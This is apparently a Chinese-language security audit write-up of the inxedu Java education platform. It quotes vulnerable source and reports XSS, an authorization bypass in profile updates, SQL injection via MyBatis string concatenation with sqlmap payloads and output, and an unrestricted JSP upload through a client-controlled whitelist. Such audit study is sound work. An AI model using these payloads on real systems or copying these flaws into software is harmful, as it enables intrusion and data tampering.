inxedu代码审计
环境搭建
-
下载源码,导入idea
-
pom.xml 修改端口
-
project.properties 修改项目路径(修改为192.168.0.104的原因是让burpsuite能抓到包)
配置和结构
maven结构
src/main/java
项目的源代码所在的目录src/main/resources
项目的资源文件所在的目录src/main/filters
项目的资源过滤文件所在的目录src/main/webapp
如果是web项目,则该目录是web应用源代码所在的目录,比如html文件和web.xml等都在该目录下
pom.xml
POM( Project Object Model,项目对象模型 ) 是 Maven 工程的基本工作单元,是一个XML文件,包含了项目的基本信息,用于描述项目如何构建,声明项目依赖,等等。
web.xml
配置欢迎页、404、filter、servlet等等。
Spring-mvc.xml
配置注解、前后台拦截等等
代码审计
前台xss漏洞
通过在WEB-INF
搜索一些关键字来找一些输出点,发现部分输出点参数可控,并且没有经过过滤。
更新用户信息处src/main/java/com/inxedu/os/edu/controller/user/UserController.java
@RequestMapping("/updateUser")
@ResponseBody
public Map<String,Object> updateUserInfo(HttpServletRequest request,@ModelAttribute("user") User user){
Map<String,Object> json = new HashMap<String,Object>();
try{
userService.updateUser(user);
json = this.setJson(true, "修改成功", user);
//缓存用户
userService.setLoginInfo(request,user.getUserId(),"false");
}catch (Exception e) {
this.setAjaxException(json);
logger.error("updateUserInfo()---error",e);
}
return json;
}
搜索课程处src/main/java/com/inxedu/os/edu/controller/course/CourseController.java
/**
* 课程列表展示,搜索课程
*/
@RequestMapping("/front/showcoulist")
public ModelAndView showCourseList(HttpServletRequest request, @ModelAttribute("page") PageEntity page, @ModelAttribute("queryCourse") QueryCourse queryCourse) {
ModelAndView model = new ModelAndView();
try {
model.setViewName(showCourseList);
// 页面传来的数据放到page中
page.setPageSize(12);
//只查询上架的
queryCourse.setIsavaliable(1);
// 搜索课程列表
List<CourseDto> courseList = courseService.queryWebCourseListPage(queryCourse, page);
model.addObject("courseList", courseList);
// 查询所有1级专业
QuerySubject querySubject = new QuerySubject();
querySubject.setParentId(0);
List<Subject> subjectList = subjectService.getSubjectList(querySubject);
//根据条件专业查询 所有的子专业
if (ObjectUtils.isNotNull(queryCourse.getSubjectId())) {
Subject subject = new Subject();
subject.setSubjectId(queryCourse.getSubjectId());
subject = subjectService.getSubjectBySubject(subject);
//查询子专业
List<Subject> sonSubjectList = null;
if (subject.getParentId() != 0) {//如果条件为二级专业(根据父级id,查询所有的子级)
sonSubjectList = subjectService.getSubjectListByOne(Long.valueOf(subject.getParentId()));
model.addObject("subjectParentId", subject.getParentId());//父级id
} else {//如果条件为一级专业(根据id,查询所有的子级)
sonSubjectList = subjectService.getSubjectListByOne(Long.valueOf(subject.getSubjectId()));
}
model.addObject("sonSubjectList", sonSubjectList);
}
// 全部教师
QueryTeacher query = new QueryTeacher();
List<Teacher> teacherList =teacherService.queryTeacherList(query);
model.addObject("page",page);
model.addObject("queryCourse", queryCourse);
model.addObject("teacherList", teacherList);
model.addObject("subjectList", subjectList);
} catch (Exception e) {
model.setViewName(this.setExceptionRequest(request, e));
logger.error("showCourseList()--error", e);
}
return model;
}
越权漏洞
在刚刚的更新用户信息处
src/main/java/com/inxedu/os/edu/controller/user/UserController.java
,对用户的权限没有进行判断,修改user.userId
可修改他人信息。
@RequestMapping("/updateUser")
@ResponseBody
public Map<String,Object> updateUserInfo(HttpServletRequest request,@ModelAttribute("user") User user){
Map<String,Object> json = new HashMap<String,Object>();
try{
userService.updateUser(user);
json = this.setJson(true, "修改成功", user);
//缓存用户
userService.setLoginInfo(request,user.getUserId(),"false");
}catch (Exception e) {
this.setAjaxException(json);
logger.error("updateUserInfo()---error",e);
}
return json;
}
public void updateUser(User user) {
userDao.updateUser(user);
}
后台sql注入漏洞
在登录后台的时候,getLocalHost函数会报错,需要修改本地host。
在mybatis
文件夹下搜索$
符号,发现部分sql语句存在直接拼接,直接用sqlmap。
src/main/resources/mybatis/inxedu/article/ArticleMapper.xml
处:
<!-- 删除文章 -->
<delete id="deleteArticleByIds" parameterType="java.lang.String">
DELETE FROM EDU_ARTICLE WHERE EDU_ARTICLE.ARTICLE_ID IN (${value})
</delete>
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: articelId=2) AND 4484=(SELECT (CASE WHEN (4484=4484) THEN 4484 ELSE (SELECT 2521 UNION SELECT 3040) END))-- -
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: articelId=2) AND GTID_SUBSET(CONCAT(0x716b6a7171,(SELECT (ELT(9854=9854,1))),0x71786a6271),9854)-- WcSf
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: articelId=2) AND 1394=BENCHMARK(5000000,MD5(0x52527851))-- dXOf
---
[12:44:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
src/main/resources/mybatis/inxedu/course/CourseKpointMapper.xml
处:
<!-- 删除视频节点 -->
<delete id="deleteKpointByIds" parameterType="java.lang.String">
DELETE FROM EDU_COURSE_KPOINT where EDU_COURSE_KPOINT.KPOINT_ID IN(${value})
</delete>
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: http://192.168.0.104:8080/admin/kpoint/deletekpoint/(SELECT (CASE WHEN (4331=4331) THEN 65 ELSE (SELECT 6797 UNION SELECT 8292) END)),
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.0.104:8080/admin/kpoint/deletekpoint/65 AND (SELECT 1279 FROM (SELECT(SLEEP(5)))thAc),
---
[13:07:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
文件上传
/src/main/webapp/WEB-INF/lib/inxedu-jar.jar!/com/inxedu/os/common/controller/ImageUploadController.class
处,各种上传头像处都有白名单验证,但是白名单(除了jsp)可控
if (fileType.contains(ext) && !"jsp".equals(ext)) {
String filePath = this.getPath(request, ext, param);
File file = new File(this.getProjectRootDirPath(request) + filePath);
if (!file.getParentFile().exists()) {
file.getParentFile().mkdirs();
}
uploadfile.transferTo(file);
return this.responseData(filePath, 0, "上传成功", response);
} else {
return this.responseErrorData(response, 1, "文件格式错误,上传失败。");
}
尝试jspx
很遗憾,可能需要配置某些东西来解析jspx,以后学会了再看
另外两处src/main/java/com/inxedu/os/common/controller/VideoUploadController.java
,白名单可控,手动添加jsp
/**
* 视频上传
*/
@RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
@RequestParam(value="param",required=false) String param,
@RequestParam(value="fileType",required=true) String fileType){
try{
String[] type = fileType.split(",");
//设置图片类型
setFileTypeList(type);
//获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
if(!fileType.contains(ext)){
return responseErrorData(response,1,"文件格式错误,上传失败。");
}
//获取文件路径
String filePath = getPath(request,ext,param);
File file = new File(getProjectRootDirPath(request)+filePath);
//如果目录不存在,则创建
if(!file.getParentFile().exists()){
file.getParentFile().mkdirs();
}
//保存文件
uploadfile.transferTo(file);
//返回数据
return responseData(filePath,0,"上传成功",response);
}catch (Exception e) {
logger.error("gok4()--error",e);
return responseErrorData(response,2,"系统繁忙,上传失败");
}
}
/**
* 使用上传音频
* @param request
* @return
*/
@RequestMapping(value="/uploadaudio",method={RequestMethod.POST})
public String uploadAudio(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
@RequestParam(value="param",required=false) String param,
@RequestParam(value="fileType",required=true) String fileType){
try{
String[] type = fileType.split(",");
//设置图片类型
setFileTypeList(type);
//获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
if(!fileType.contains(ext)){
return responseErrorData(response,1,"文件格式错误,上传失败。");
}
//获取文件路径
String filePath = getPath(request,ext,param);
File file = new File(getProjectRootDirPath(request)+filePath);
//如果目录不存在,则创建
if(!file.getParentFile().exists()){
file.getParentFile().mkdirs();
}
//保存文件
uploadfile.transferTo(file);
//返回数据
return responseData(filePath,0,"上传成功",response);
}catch (Exception e) {
logger.error("gok4()--error",e);
return responseErrorData(response,2,"系统繁忙,上传失败");
}
}
类似头像上传的表单,修改一下uri
总结
快速定位关键函数的能力、对危险函数的熟悉程度需要不断提高,还需要把Java的一些框架系统的学习一下。